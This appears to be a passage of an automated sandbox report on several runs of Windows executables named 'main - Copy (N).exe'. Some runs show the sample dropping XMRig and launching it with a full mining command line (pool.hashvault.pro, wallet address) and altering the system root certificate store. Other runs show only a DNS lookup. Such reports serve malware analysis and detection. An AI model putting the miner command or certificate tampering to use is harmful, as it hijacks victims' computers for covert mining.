5504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Admin\AppData\Local\Temp\main - Copy (3) - Copy.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\main - Copy (3) - Copy.exe

"C:\Users\Admin\AppData\Local\Temp\main - Copy (3) - Copy.exe"

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

xmrig-6.21.0\xmrig.exe --url pool.hashvault.pro:80 --user 46DiTxnXmukGpoGKFDViugiZA1Zuu181wJGSTvGVyJUv4HAdJaozh3jMX7nAEauswGVAUvLnY6tai2AbiKv9Pbt2EAsu8yR --pass T --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
NL 23.62.61.97:443 www.bing.com tcp
US 8.8.8.8:53 23.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 97.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 objects.githubusercontent.com udp
US 185.199.108.133:443 objects.githubusercontent.com tcp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 pool.hashvault.pro udp
DE 45.76.89.70:80 pool.hashvault.pro tcp
US 8.8.8.8:53 133.108.199.185.in-addr.arpa udp
US 8.8.8.8:53 70.89.76.45.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 26.73.42.20.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

MD5 e2fe87cc2c7dab8ca6516620dccd1381
SHA1 f714ec0448325435103519452610cf7aadf8bbba
SHA256 d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4
SHA512 8455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6

memory/2952-14-0x0000025886F80000-0x0000025886FA0000-memory.dmp

memory/2952-15-0x0000025888980000-0x00000258889A0000-memory.dmp

memory/2952-16-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-17-0x00000258889C0000-0x00000258889E0000-memory.dmp

memory/2952-18-0x00000258889A0000-0x00000258889C0000-memory.dmp

memory/2952-19-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-20-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-21-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-22-0x00000258889C0000-0x00000258889E0000-memory.dmp

memory/2952-23-0x00000258889A0000-0x00000258889C0000-memory.dmp

memory/2952-24-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-25-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-26-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-27-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-28-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-29-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-30-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-31-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-32-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-33-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-34-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-35-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-36-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-37-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-38-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-39-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-40-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-41-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-42-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-43-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-44-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-45-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-46-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-47-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-48-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-49-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-50-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-51-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-52-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-53-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-54-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-55-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-56-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-57-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-58-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-59-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-60-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-61-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-62-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-63-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-64-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-65-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-66-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-67-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-68-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-69-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-70-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-71-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-72-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-73-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-74-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-75-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-76-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-77-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-78-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-79-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-80-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-81-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

memory/2952-82-0x00007FF60A370000-0x00007FF60AE73000-memory.dmp

Analysis: behavioral6

Detonation Overview

Submitted

2024-06-14 00:42

Reported

2024-06-14 01:28

Platform

win10v2004-20240508-en

Max time kernel

1755s

Max time network

1767s

Command Line

"C:\Users\Admin\AppData\Local\Temp\main - Copy (4) - Copy.exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\main - Copy (4) - Copy.exe

"C:\Users\Admin\AppData\Local\Temp\main - Copy (4) - Copy.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 github.com udp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp

Files

N/A

Analysis: behavioral12

Detonation Overview

Submitted

2024-06-14 00:42

Reported

2024-06-14 01:39

Platform

win10v2004-20240508-en

Max time kernel

1787s

Max time network

1800s

Command Line

"C:\Users\Admin\AppData\Local\Temp\main - Copy (7) - Copy.exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\main - Copy (7) - Copy.exe

"C:\Users\Admin\AppData\Local\Temp\main - Copy (7) - Copy.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 github.com udp

Files

N/A

Analysis: behavioral13

Detonation Overview

Submitted

2024-06-14 00:42

Reported

2024-06-14 01:40

Platform

win10v2004-20240508-en

Max time kernel

1667s

Max time network

1680s

Command Line

"C:\Users\Admin\AppData\Local\Temp\main - Copy (7).exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\main - Copy (7).exe

"C:\Users\Admin\AppData\Local\Temp\main - Copy (7).exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 github.com udp

Files

N/A

Analysis: behavioral16

Detonation Overview

Submitted

2024-06-14 00:42

Reported

2024-06-14 01:42

Platform

win10v2004-20240611-en

Max time kernel

1794s

Max time network

1801s

Command Line

"C:\Users\Admin\AppData\Local\Temp\main - Copy (9) - Copy.exe"

Signatures

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

xmrig

miner xmrig

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Admin\AppData\Local\Temp\main - Copy (9) - Copy.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Admin\AppData\Local\Temp\main - Copy (9) - Copy.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 C:\Users\Admin\AppData\Local\Temp\main - Copy (9) - Copy.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\main - Copy (9) - Copy.exe

"C:\Users\Admin\AppData\Local\Temp\main - Copy (9) - Copy.exe"

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

xmrig-6.21.0\xmrig.exe --url pool.hashvault.pro:80 --user 46DiTxnXmukGpoGKFDViugiZA1Zuu181wJGSTvGVyJUv4HAdJaozh3jMX7nAEauswGVAUvLnY6tai2AbiKv9Pbt2EAsu8yR --pass T --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
NL 23.62.61.194:443 www.bing.com tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 140.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 6.160.77.104.in-addr.arpa udp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 194.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 objects.githubusercontent.com udp
US 185.199.108.133:443 objects.githubusercontent.com tcp
US 8.8.8.8:53 pool.hashvault.pro udp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 133.108.199.185.in-addr.arpa udp
DE 45.76.89.70:80 pool.hashvault.pro tcp
US 8.8.8.8:53 70.89.76.45.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 174.117.168.52.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

MD5 e2fe87cc2c7dab8ca6516620dccd1381
SHA1 f714ec0448325435103519452610cf7aadf8bbba
SHA256 d0cf7388253342f43f9b04da27f3da9ee18614539efdc2d9c4a0239af51ddbe4
SHA512 8455c47e8470e0e322426bc9b9f3c7e858d803bfc8c5d576d580f88585f550b95043139d69b0750a3e211915e3f5ec7a67e7784dcf8cac6bd8fe51ab7e9cbed6

memory/1960-14-0x0000028BAA2E0000-0x0000028BAA300000-memory.dmp

memory/1960-15-0x0000028BAA320000-0x0000028BAA340000-memory.dmp

memory/1960-16-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-18-0x0000028BAA340000-0x0000028BAA360000-memory.dmp

memory/1960-17-0x0000028BABC10000-0x0000028BABC30000-memory.dmp

memory/1960-19-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-20-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-23-0x0000028BAA340000-0x0000028BAA360000-memory.dmp

memory/1960-22-0x0000028BABC10000-0x0000028BABC30000-memory.dmp

memory/1960-21-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-24-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-25-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-26-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-27-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-28-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-29-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-30-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-31-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-32-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-33-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-34-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-35-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-36-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-37-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-38-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-39-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-40-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-41-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-42-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-43-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-44-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-45-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-46-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-47-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-48-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-49-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-50-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-51-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-52-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-53-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-54-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-55-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-56-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-57-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-58-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-59-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-60-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-61-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-62-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-63-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-64-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-65-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-66-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-67-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-68-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-69-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-70-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-71-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-72-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-73-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-74-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-75-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-76-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-77-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-78-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-79-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-80-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-81-0x00007FF782080000-0x00007FF782B83000-memory.dmp

memory/1960-82-0x00007FF782080000-0x00007FF782B83000-memory.dmp

Analysis: behavioral17

Detonation Overview

Submitted

2024-06-14 00:42

Reported

2024-06-14 01:42

Platform

win10v2004-20240508-en

Max time kernel

1791s

Max time network

1799s

Command Line

"C:\Users\Admin\AppData\Local\Temp\main - Copy (9).exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\main - Copy (9).exe

"C:\Users\Admin\AppData\Local\Temp\main - Copy (9).exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4124,i,6166776566165096562,4582328833313060853,262144 --variations-seed-version --mojo-platform-channel-handle=4172 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=2772,i,6166776566165096562,4582328833313060853,262144 --variations-seed-version --mojo-platform-channel-handle=3628 /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 github.com udp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp

Files

N/A

Analysis: behavioral7

Detonation Overview
